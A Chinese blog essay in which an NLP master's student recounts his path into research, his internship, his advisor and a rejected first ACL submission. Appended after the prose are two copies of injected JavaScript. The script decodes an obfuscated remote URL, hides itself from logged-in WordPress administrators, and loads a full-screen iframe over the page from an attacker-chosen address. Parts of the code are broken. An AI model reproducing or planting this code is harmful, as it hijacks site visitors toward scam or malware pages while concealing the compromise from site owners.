我和NLP的故事

作者：裴文哲 ，北京大学计算语言学研究所硕士，就读期间在NLP领域顶会发表论文数篇，也是前WI输入法开发组成员。微博：http://weibo.com/williammed
小编: 文哲是NLP方向的硕士，短短几年内研究成果颇丰，已在顶会上发表数篇文章，令不少小硕甚至博士羡慕。但他异常低调，很谦逊，对自己的成绩没有太多的在意和满足。龙星能邀请到这样的青年才俊分享一下研究体会和求学经历，倍感荣幸。也特别希望更多的青年学子能做到同样优秀的成绩。

正值ACL录用结果发布，国内的老师和同学们又是一次大丰收，在这里再次恭喜所有论文被录用的老师和同学们！我人品爆发，也收获了自己硕士阶段的第二篇ACL论文。本来只是想单纯分享下自己中论文的喜悦，但没成想收到这么多老师和同学的祝贺与鼓励，实在是受宠若惊，在这里也再次感谢各位老师和同学，期待与大家在ACL进行面对面的交流。 我的微博发布后，龙星镖局大神发来邀请，希望我能写一篇小文讲一讲自己的研究。但作为一个小硕士生诚然没什么拿的出手的成果，思来想去，就讲一讲这几年来做NLP研究的经历与感受好了，希望能够对在国内读研的，和我同样迷茫过的同学有一些帮助。

第一次接触自然语言处理是在本科三年级的时候，那时候我在哈尔滨工业大学网络智能实验室跟关毅老师做WI输入法，当时我负责做的是拼音输入法的智能纠错功能。在这期间了解到了语言模型和隐马尔科夫模型的概念。尽管当时还没有很深入的理解其背后深刻的原理，但我立刻就被其背后所蕴藏的智慧迷住了，从此决定这就是我要研究的方向。到了大四的时候，收到了百度NLP部门实习的offer，这次实习对我的人生规划产生了巨大的影响。尽管当时已经保研到北大，但是和大多数同龄人一样，开始怀疑是继续读书好还是直接工作好。带着试试看的思想，决定先去实习感受一下。当时实习所在的部门大牛云集，包括NLP界顶顶有名的王海峰老师，吴华老师等等，各种PhD、大神就更数不胜数了。随着实习的进行，我进一步感受到了NLP的魅力，我希望有一天我也能够设计自己的模型，希望我的模型能够上线改变亿万人的生活。但理想很丰满，现实很骨感，我开始意识到自己的知识储备是多么不足。于是我坚定了自己的决定：读研

既然选择了读研，就要为读研做充分的准备。在本科毕业后的暑假，我没有选择到处旅游，而是选择把自己关在家里补充各种知识。当时看了Andrew Ng斯坦福的公开课以及Coursera的公开课，看完了大半本英文原版的《Speech Recognition and Language Processing》，看了一遍《Pattern Recognition and Machine Learning》。当然，这两本书我看完第一遍后也就看懂了其中30%的内容，所以后续读研后又读了很多遍。一直到现在，PRML我大概总共读了4遍，但说实话，这本圣经可能我到现在也只能真正理解其中60%--70%的内容。当然，这对于我来说也足够了，因为我并没有想成为ML领域的专家，所以很多内容就没有细细研究。

由于实习时受的“刺激”，开始读研时就踌躇满志一定要利用好研究生三年做最顶级的研究，所以在开学的第一天我就给导师发了封邮件，立志要在硕士期间发表一篇顶级会议论文。这个目标当时对我来说简直是痴人说梦，因为实验室的历史上几乎没有硕士生能够在读研期间发表顶级论文。在这里不得不提一下我的导师常宝宝老师，如果没有他我的目标不可能实现。在我发完那封慷慨激昂的邮件后，导师表示非常鼓励。和国内大多数的导师不同，常老师从来没有对我们的研究内容做强制规定，也从来没有要求我们去做外面的项目，相反，他鼓励我们寻找我们自己的研究方向，做自己感兴趣的内容。同时，他的学术水平也非常高，能在我遇到困难的时候给予非常细节的指导。这些外界的优良条件为后续的研究铺平了道路。

研一上的时候因为知识储备有限，所以和导师讨论了下研究内容，导师决定做Topic Model相关的内容。因为相对来讲Topic Model比较好入门。经过几番讨论后，形成了人生中第一个idea并很快完成了代码的编写，实验效果也很不错。于是在研一上学期我就迎来了自己人生中第一次投稿——ACL2013。我的英文写作能力其实并不好，当时写完论文后，导师几乎是全部推翻了重写了一遍。那时候还正好赶上过年，我深刻的记得初一的晚上，我和导师在电话里远程讨论如何修改论文。经过无数次的雕琢，我的第一篇paper《Inducing Word Sense with Automatically Learned Hidden Concepts》就这样诞生了。我兴致冲冲的投了稿，期待结果，但最终结果是：reject。论文被拒心情自然是沮丧的，我一直认为审稿人并没有理解我们论文的核心思想，于是心中怒骂审稿人。但常老师教导我无论结果如何，都要以平和的心态面对，积极修改论文。就这样，我的研一上以一篇被reject的论文结束了。

;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();